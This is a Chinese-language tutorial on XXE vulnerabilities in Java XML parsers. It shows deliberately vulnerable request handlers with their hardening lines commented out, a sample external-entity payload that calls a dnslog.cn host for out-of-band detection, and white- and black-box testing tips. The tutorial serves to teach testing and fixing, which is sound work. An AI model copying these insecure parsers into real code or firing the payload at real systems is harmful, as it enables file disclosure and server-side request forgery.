文章目录
- XMLReader
- SAXReader
- SAXBuilder
- DocumentBuilder
- Unmarshaller
- **SAXParserFactory**
- XMLReaderFactory
- Digester
- 总结
XMLReader
public String XMLReader(@RequestBody String content) {try {XMLReader xmlReader = XMLReaderFactory.createXMLReader();// 修复:禁用外部实体// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.parse(new InputSource(new StringReader(content)));return "XMLReader XXE";} catch (Exception e) {return e.toString();}
}
抓包然后 xml 外部实体应用
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://u0ea91.dnslog.cn">]><root>&xxe;</root>
修复
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 修复: 禁用外部实体
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
SAXReader
SAXReader是第三方的库,该类是无回显的
public String SAXReaderVuln(HttpServletRequest request) {try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXReader reader = new SAXReader();// org.dom4j.Document documentreader.read(new InputSource(new StringReader(body))); // cause xxe} catch (Exception e) {logger.error(e.toString());return EXCEPT;}
SAXBuilder
AXBuilder是一个JDOM解析器,能将路径中的XML文件解析为Document对象
public String SAXBuilder(@RequestBody String content, String entity) {try {if (entity !=null && entity.equals("true") && Security.checkXXE(content)) {return "检测到XXE攻击";}SAXBuilder saxbuilder = new SAXBuilder();// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);saxbuilder.build(new InputSource(new StringReader(content)));return "SAXBuilder 解析成功";} catch (Exception e) {return e.toString();}}
DocumentBuilder
这是JDK自带的类,以此产生的XXE是存在回显的
public String DocumentBuilder(@RequestBody String content, String entity) {try {if (entity !=null && entity.equals("true") && Security.checkXXE(content)) {return "检测到XXE攻击";}// DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();// dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);DocumentBuilder builder = factory.newDocumentBuilder();StringReader sr = new StringReader(content);InputSource is = new InputSource(sr);Document document = builder.parse(is);// 获取<person>标签名NodeList nodeList = document.getElementsByTagName("person");Element element = (Element) nodeList.item(0);return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());} catch (Exception e) {return e.toString();}}
Unmarshaller
public String Unmarshaller(@RequestBody String content, String entity) {try {if (entity !=null && entity.equals("true") && Security.checkXXE(content)) {return "检测到XXE攻击";}JAXBContext context = JAXBContext.newInstance(Student.class);Unmarshaller unmarshaller = context.createUnmarshaller();XMLInputFactory xif = XMLInputFactory.newFactory();// fixed: 禁用外部实体// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");// 默认情况下在1.8版本上不能加载外部dtd文件,需要更改设置。// xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);// xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));Object o = unmarshaller.unmarshal(xsr);return o.toString();} catch (Exception e) {
// e.printStackTrace();return e.toString();}}
SAXParserFactory
该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台
public String SAXParserVuln(HttpServletRequest request) {try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();SAXParser parser = spf.newSAXParser();parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xmlreturn "SAXParser xxe vuln code";} catch (Exception e) {logger.error(e.toString());return EXCEPT;}}
XMLReaderFactory
public String xmlReaderVuln(HttpServletRequest request) {try {String body = WebUtils.getRequestBody(request);logger.info(body);XMLReader xmlReader = XMLReaderFactory.createXMLReader();xmlReader.parse(new InputSource(new StringReader(body))); // parse xmlreturn "xmlReader xxe vuln code";} catch (Exception e) {logger.error(e.toString());return EXCEPT;}
Digester
public String DigesterVuln(HttpServletRequest request) {try {String body = WebUtils.getRequestBody(request);logger.info(body);Digester digester = new Digester();digester.parse(new StringReader(body)); // parse xml} catch (Exception e) {logger.error(e.toString());return EXCEPT;}return "Digester xxe vuln code";
总结
白盒测试就看关键类 XMLReader,SAXBuilder,SAXReader 。。。
黑盒测试就抓包看看有没有传 xml 数据的,有传的直接改了外部实体引用试试。其实 php和 java 的 xxe 没什么区别